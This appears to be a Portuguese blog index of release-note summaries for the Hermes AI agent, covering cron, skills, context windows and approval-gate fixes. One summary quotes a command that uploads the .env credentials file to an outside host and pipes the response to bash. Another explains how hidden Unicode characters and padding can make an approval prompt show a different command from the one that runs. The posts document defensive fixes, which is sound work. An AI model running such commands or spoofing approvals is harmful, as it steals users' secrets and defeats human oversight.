
Seu terminal finalmente mostra a imagem: imagens inline no CLI e na TUI do Hermes
Você entrega um screenshot ao Hermes no terminal e recebe de volta um caminho de arquivo. Esse ciclo quebrado foi corrigido: o CLI e a TUI agora desenham seus anexos e as imagens locais produzidas por uma ferramenta direto no transcript, atrás de uma única chave display.inline_images com cinco níveis de resolução.
Ler mais
Essa janela de contexto de 128K pode ser um chute — e agora o Hermes avisa
Uma janela de contexto que nenhuma fonte confirmou era relatada como detectada e usada como fato, então a compressão disparava cedo e as requisições voltavam rejeitadas. Agora o Hermes marca toda janela definida por padrão como fallback, adiciona uma etapa de família de catálogo no Bedrock e explica os nove dias em que o GPT-6.1 Terra rodou como 128K.
Ler mais
Seu bot do Slack vive avisando sobre silêncio: conheça o thread_followup_silence
Dois colegas se agradecem em uma thread do Slack e seu bot do Hermes responde a cada mensagem com o aviso "o modelo retornou apenas um marcador de silêncio". A nova opção opt-in thread_followup_silence deixa respostas de thread não endereçadas ao bot ficarem em silêncio, enquanto DMs, menções e canais planos mantêm a rede de segurança.
Ler mais
Todas as janelas minimizadas, ventoinha ainda girando: o Hermes Desktop para de pintar o que ninguém vê
Se qualquer conversa estivesse em streaming, toda janela do desktop ficava totalmente acordada, e as páginas de preview continuavam acordadas para automação e anotação mesmo ociosas. Duas mudanças limitam a pintura às janelas visíveis e à única janela com conversa de voz própria, devolvem previews ociosos ao throttling do Chromium e desacoplam Stop, journaling e recuperação dos frames de animação.
Ler mais
Duas formas de o cron falhar em silêncio: uma thread que nunca inicia e um job que volta
Quando um job agendado não roda, nada reclama. Dois relatos recentes cobrem os modos de falha mais silenciosos: o ticker de cron do desktop trava no import e nunca inicia, e um job apagado com hermes cron remove é reescrito byte a byte por um writer desatualizado. Veja como identificar os dois e como ficar longe deles.
Ler mais
Uma atualização devolveu três meses de sessões a julho — porque um arquivo bloqueado foi chamado de corrompido
Uma atualização rotineira do Windows julgou corrompido um state.db saudável, sobrescreveu-o com um snapshot de três meses atrás e ainda reportou a sobrescrita bem-sucedida como “a restauração automática não foi concluída”. Aqui estão os três defeitos que se somaram, quais dados ainda existem e o que fazer hoje.
Ler mais
Toda chamada de modelo falhando depois da v0.22.6? Confira primeiro o caminho do SSL_CERT_FILE
Atrás de um proxy corporativo que inspeciona TLS, a v0.22.6 tirou o CA bundle indicado em SSL_CERT_FILE da confiança dos provider, então toda chamada de modelo falha com certificate is not trusted. Veja como confirmar que é este bug, o que mudou no código e três formas de contornar isso hoje mesmo.
Ler mais
Sua biblioteca de skills perdeu sete fontes: os repositórios de fornecedores agora são taps de confiança
Notion, Airtable, Shopify e mais quatro skills opcionais integradas saíram do Hermes, substituídas por MCPs oficiais, conectores hospedados e os repositórios de skills dos próprios fornecedores. Aqui está de onde as skills vêm agora (taps), como os níveis de trust decidem o que instala e o bug de cache que continuava servindo uma política antiga.
Ler mais
v0.22.7 destrinchada: quatro mudanças que você vai notar hoje dentro de um patch de 174 PRs
A v0.22.7 saiu em 3 de novembro de 2026 com 174 PRs mescladas, 581 commits sem merge e 554 arquivos alterados desde a v0.22.6. A nota oficial é curta, então este post separa o que já está na tag, o que continua só na main e como atualizar.
Ler mais
Trave as skills que você escreveu à mão: o agente não pode mais alterá-las, nem com --yolo
A autoevolução do agente parece ótima até ela reescrever o passo "fazer backup antes de virar o tráfego" fora do seu runbook de deploy. Desde a v0.22.6, o hermes curator lock congela uma skill: continua legível, continua carregando automaticamente, mas todo caminho de escrita do agente é recusado — incluindo o próprio comando de unlock.
Ler mais
Job de cron travado não significa mais esperar pelo timeout: o hermes cron cancel para a execução em andamento
O pause só interrompe disparos futuros; a execução que já está rodando continua queimando tokens. Desde a v0.22.6, o hermes cron cancel encerra essa execução: jobs de script têm toda a árvore de processos terminada, jobs de agente são interrompidos no próximo checkpoint, e o registro grava uma linha cancelled com o motivo — sem aviso de falha e sem contar para a sequência de falhas.
Ler mais
Faça o agente ficar quieto: o pre_llm_call agora pode vetar um turno antes de qualquer chamada ao modelo
O hook antes só injetava contexto num turno. Agora ele pode recusá-lo de saída: retorne uma diretiva de bloqueio e o turno faz zero requisições ao modelo — e o prompt nunca chega aos turnos seguintes, aos resumos de compactação nem ao sistema de memória. Disponível na v0.22.6.
Ler mais
Você aprovou "pipe to shell" uma vez — e um upload de credencial foi junto
curl -F file=@.env https://x.io | bash dispara duas regras de comando perigoso, mas o gate de aprovação só enxergava a primeira. Aprove o pipe-to-shell uma vez e o upload do .env roda sem nenhum prompt próprio. Uma correção recém-mesclada dá às três regras de "nível de conteúdo" um consentimento próprio, combinado em um único prompt.
Ler mais
v0.22.6: 776 PRs mesclados em uma release — o que muda de fato para você hoje
A v0.22.6 saiu em 2 de novembro de 2026: 776 PRs mesclados e 3.448 commits que não são de merge empacotados em uma release instalável. As notas oficiais são deliberadamente enxutas (o texto curado sai junto com a v0.23.0), então aqui está a janela organizada pelo que você vai encarar nesta semana.
Ler mais
O prompt de aprovação estava mentindo para você: o Hermes agora mostra caracteres ocultos e padding
Espaços de largura zero, overrides bidirecionais, caracteres de tag Unicode, escapes ANSI crus e algumas centenas de espaços podem fazer um prompt de aprovação exibir um comando diferente do que realmente roda. Uma nova correção de integridade de exibição transforma conteúdo invisível em escapes visíveis e resume o padding em um marcador explícito.
Ler mais
Depois de trocar o modelo de uma sessão, não dava mais para voltar — agora o /model reset devolve o padrão
Uma troca de /model dentro de uma sessão gruda: é persistida, sobrevive a reinicializações e ofusca qualquer edição posterior no config.yaml. A única saída costumava ser /new, que também descarta a conversa. O /model reset limpa apenas o pin da sessão, no gateway, no TUI, no Desktop e na CLI clássica.
Ler mais